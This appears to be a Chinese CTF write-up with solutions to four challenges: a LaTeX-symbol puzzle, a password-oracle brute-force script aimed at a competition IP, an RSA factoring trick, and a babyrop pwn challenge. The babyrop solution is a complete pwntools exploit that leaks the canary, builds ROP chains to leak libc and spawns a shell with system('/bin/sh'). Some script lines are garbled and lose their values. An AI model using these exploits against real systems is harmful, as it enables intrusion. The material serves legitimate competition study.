Crypto Symbol
$\flat\ \lambda\ \alpha\ \gamma\ \lbrace\forall\ \uplus\ \nu\ _\ \Lambda\ \alpha\ T\ \epsilon\ \Xi\ _\ M\ \approx\ \triangleleft\ \hbar\rbrace$
1 \flat\ \lambda\ \alpha\ \gamma\ \{\forall\ \uplus\ \nu\ \_\ \Lambda\ \alpha\ T\ \epsilon\ \Xi\ \_\ M\ \approx\ \triangleleft\ \hbar\}
我超,发现了不得了的东西
flag{fun_LaTeX_Math}
1 2 3 4 from hashlib import md5pl = b'fun_LaTeX_Math' print (f'flag{{{md5(pl).digest().hex ()} }}' )
flag{e1b217dc3b5e90b237b45e0a636e5a86}
Romeo’s Encrypting Machine 炼丹题。目标密码长度为8,范围是100个可打印字符,每次nc连上有100s的时间
要知晓一个关键的地方,就是如果猜对前面所有的字符(还不满8个),程序就不会动了,因为服务端会报下标越界的错导致程序退出
而在客户端的现象是:没有任何现象
其他的情况程序则会返回一个False!
并继续让你输入
此外有一个循环会占用很多时间
1 2 3 check = b'' for i in range (0x2000 ): check = self.aes.encrypt(padding(check[:-1 ] + str1[:i+1 ]))
也有一个判断可以在前面的check过之后加速后面的check(跳过上面的循环
1 2 3 4 if right_num > true_num: continue else : right_num = true_num
所以,一种完全自动化脚本的编写思路就是依序爆破printable
,到100s主动掐掉,下次再从没爆完的地方(包括之前一次已经开始爆但没有回显的)开始继续爆,直到在某一次连接只爆破一位,还没有任何回显的,那应该就是正确的
不过比赛的时候太急了,不知道是不是一个靶机同时连多个会影响速度,还是那边网速的原因(出现了send过去之后没有任何回显,结果另外一次又False!
的情况,本地搭建就跑得贼快),总之半自动化脚本(开始可以一次10个,后面就差不多一次3个)加上最后基本上全手爆了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *from tqdm import tqdmfrom string import printablecontext.log_level = 'debug' class Solve (): def __init__ (self ): self.sh = remote('123.57.132.168' , 15906 ) self.ru = lambda s: self.sh.recvuntil(s) self.sl = lambda s: self.sh.sendline(s) self.rl = lambda : self.sh.recvline() self.pwd = '#G.5~1' def solve (self ): index_l = index_r = while 1 : for i in tqdm(list (printable[index_l:index_r])): t = self.pwd + i self.rl() self.sl(t.encode()) feedback = self.rl() if b'False!' in feedback: continue self.sh.close() self.sh = remote('123.57.132.168' , 15906 ) index_l += index_r += if __name__ == '__main__' : solution = Solve() solution.solve()
得到密码是#G.5~1ss
flag{c7f37603-7ad2-4d52-8a56-7c92c74dff97}
赛后重新写下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *from tqdm import tqdmfrom string import printableimport timeimport syscontext.log_level = 'debug' table = printable length = len (printable) sh = remote('127.0.0.1' , 9999 ) sh.close() sl = lambda s: sh.sendline(s) rl = lambda : sh.recvline() pwd = '' t = pwd index = 0 i = 0 tip = 1 start_time = time.time() for _ in range (8 ): while 1 : sh = remote('127.0.0.1' , 9999 ) tip = 1 try : signal.alarm(105 ) for i in tqdm(range (index, length)): t = pwd + table[i] rl() sl(t.encode()) feedback = rl() if b'False!' in feedback: tip = 0 continue elif b'Success' in feedback: pwd = t tip = 1 assert 1 == 0 signal.alarm(0 ) except : sh.close() if tip: pwd = t if len (pwd) == 8 : end_time = time.time() print (f"plz do not waste my time\nyou should pay me: {end_time - start_time} s" ) rl() rl() sys.exit(0 ) index = 0 break else : index = i sh.close() continue
就很快,还是和网有点关系的
不过偶尔的一次证明脚本继续上次断开的地方爆破的功能没有问题
hamburgerRSA 题目很短,核心代码如下,p和q都是64位的素数
1 2 3 PP = int (str (p) + str (p) + str (q) + str (q)) QQ = int (str (q) + str (q) + str (p) + str (p)) n = PP * QQ
注意是十进制,在二进制位上操作就错了
随便搞几组同等大小的数据出来的结果,没有去搜严格的数学证明,可能是不是完全正确的
64位的p和q十进制要么是20位,要么是19位
十进制20位和20位相乘得到的结果要么是十进制40位,要么是39位
N=pq,N的前x位等于p的前y位乘以q的前y位,x略小于y一位或两位十进制位
同理N=pq,N的后x位等于p的后y位乘以q的后y位,x略小于y一位或两位十进制位
所以这里有n,我们可以知道n的前18位177269125756508652
就是p和q相乘结果的前面,n的后18位742722231922451193
同理,所以要爆破3~4位,再通过sage的factor函数来验证(保险点前后17位也不是不行
1 2 3 4 5 6 7 part1 = '177269125756508652' part2 = '742722231922451193' for part_mid in range (1000 ): ans = part1 + str (part_mid).rjust(3 , '0' ) + part2 ans = factor(int (ans)) if len (ans) == 2 and ans[0 ][0 ].nbits() == 64 : print (ans)
最后是exp
1 2 3 4 5 6 7 8 9 10 11 from Crypto.Util.number import *from gmpy2 import invert n = 177269125756508652546242326065138402971542751112423326033880862868822164234452280738170245589798474033047460920552550018968571267978283756742722231922451193 c = 47718022601324543399078395957095083753201631332808949406927091589044837556469300807728484035581447960954603540348152501053100067139486887367207461593404096 p = 9788542938580474429 q = 18109858317913867117 PP = int (str (p) + str (p) + str (q) + str (q)) QQ = int (str (q) + str (q) + str (p) + str (p)) print (long_to_bytes(pow (c, invert(0x10001 , n-PP-QQ+1 ), PP*QQ)))
flag{f8d8bfa5-6c7f-14cb-908b-abc1e96946c6}
Pwn babyrop 考点
技巧
题目描述 提供了libc-2.27.so
程序较短
没有现成的system
和/bin/sh
,只能ret2libc
,通过泄漏libc的基址来找system
和/bin/sh
vul
函数里会有栈溢出,溢出48刚好到返回地址,并且可以利用父函数main的栈帧(第5点细说
可能用到的几个gadget
解题思路
泄漏canary
$\Rightarrow$2. 栈溢出跳转重新执行main函数
$\Rightarrow$3. 在name上构造ROP实现puts(read_got)
$\Rightarrow$4. 栈溢出跳转到name执行ROP链
$\Rightarrow$5. 接收得到read真实地址算出libc基址并栈溢出跳转重新执行main函数
$\Rightarrow$6. 在name上构造ROP实现system("/bin/sh")
$\Rightarrow$7. 栈溢出跳转到name执行ROP链
1. 泄漏canary 这个比较简单,可以输入25个字符,但是题目故意不让用换行0A
来填充,换一个字符就好
1 2 3 4 5 6 7 8 for ( i = 0 ; i <= 24 ; ++i ){ if ( read(0 , &name[i], 1uLL ) != 1 || name[i] == '\n' ) { name[i] = 0 ; break ; } }
用IDA远程动调就很容易证明canary就紧跟在24长的name之后
2. 栈溢出跳转重新执行main函数 因为libc-2.27.so
的一些 🐱bin
,有些时候可以跳转到push rbp
继续执行,但有时候又必须越过push rbp
直接跳转到mov rbp, rsp
即这里第一次返回要返回到0x40075C
,第二次则是返回到0x40075B
可以多试几遍
3. 构造ROP实现puts(read_got)
64位用寄存器传参没什么好说的,read
最好用send
,这里结尾多加1字符变成25个字符
4. 栈溢出跳转到name执行ROP链 注意,这里要用到父函数的栈帧
在name构造ROP之后,我们肯定想控制返回地址到这上去执行是吧,于是乎在这里打个断点,溢出还是继续溢出,返回地址先空着
单步执行直到vul
的ret
仔细查看下栈,发现宝藏了,vul
返回到main
之后距离我们构造的ROP只有16个字节,结合我们之前的可以pop两个寄存器的gadgetpop r14; pop r15; ret
,就可以来到我们的name
最后这里贴张Anza师傅图
5. 计算libc基址并栈溢出跳转重新执行main函数 上文已经构造好了输出read
函数真实地址的ROP链,现在接收一下就好了,以\x7f
为标志
64位的libc地址开头都是\x7f
,32位的都是\xf7
之后重新执行main函数
6. 构造ROP实现system("/bin/sh")
7. 栈溢出跳转到name执行ROP链 完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *context.arch ="amd64" io = process("./babyrop" ) elf = ELF("babyrop" ) libc = ELF("libc-2.27.so" ) ru = lambda s : io.recvuntil(s) sl = lambda s : io.sendline(s) sd = lambda s : io.send(s) rv = lambda s : io.recv(s) sa = lambda r, s : io.sendlineafter(r, s) rl = lambda : io.recvline() show_me_pwd = b"4196782" main1_addr = 0x40075C main2_addr = 0x40075B puts_addr = 0x40086E pop_rdi_ret = 0x400913 pop_r14_r15_ret = 0x400910 payload1 = b'A' * 16 + b'B' * 8 + b'1' sd(payload1) ru(b'B' * 8 ) canary = u64(rv(8 ))- 0x31 success("canary ====> " + hex (canary)) sa(b" unlock this challenge\n" , show_me_pwd) payload2 = b'A' * 24 + p64(canary) + p64(0 ) + p64(main1_addr) sd(payload2) payload3 = p64(pop_rdi_ret) + p64(elf.got["read" ]) + p64(puts_addr) + b'1' sd(payload3) sa(b" unlock this challenge\n" , show_me_pwd) payload4 = b'A' * 24 + p64(canary) + p64(0 ) + p64(pop_r14_r15_ret) sd(payload4) read_addr = u64(ru(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = read_addr - libc.sym["read" ] system_addr = libc_base + libc.sym["system" ] bin_sh_addr = libc_base + next (libc.search('/bin/sh\x00' .encode())) success("libc_base ===> " + hex (libc_base)) success("system_addr ===> " + hex (system_addr)) success("bin_sh_addr ===> " + hex (bin_sh_addr)) payload5 = b'A' * 24 + p64(canary) + p64(0 ) + p64(main2_addr) sd(payload5) payload6 = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + b'1' sd(payload6) sa(b" unlock this challenge\n" , show_me_pwd) payload7 = b'A' * 24 + p64(canary) + p64(0 ) + p64(pop_r14_r15_ret) sd(payload7) io.interactive()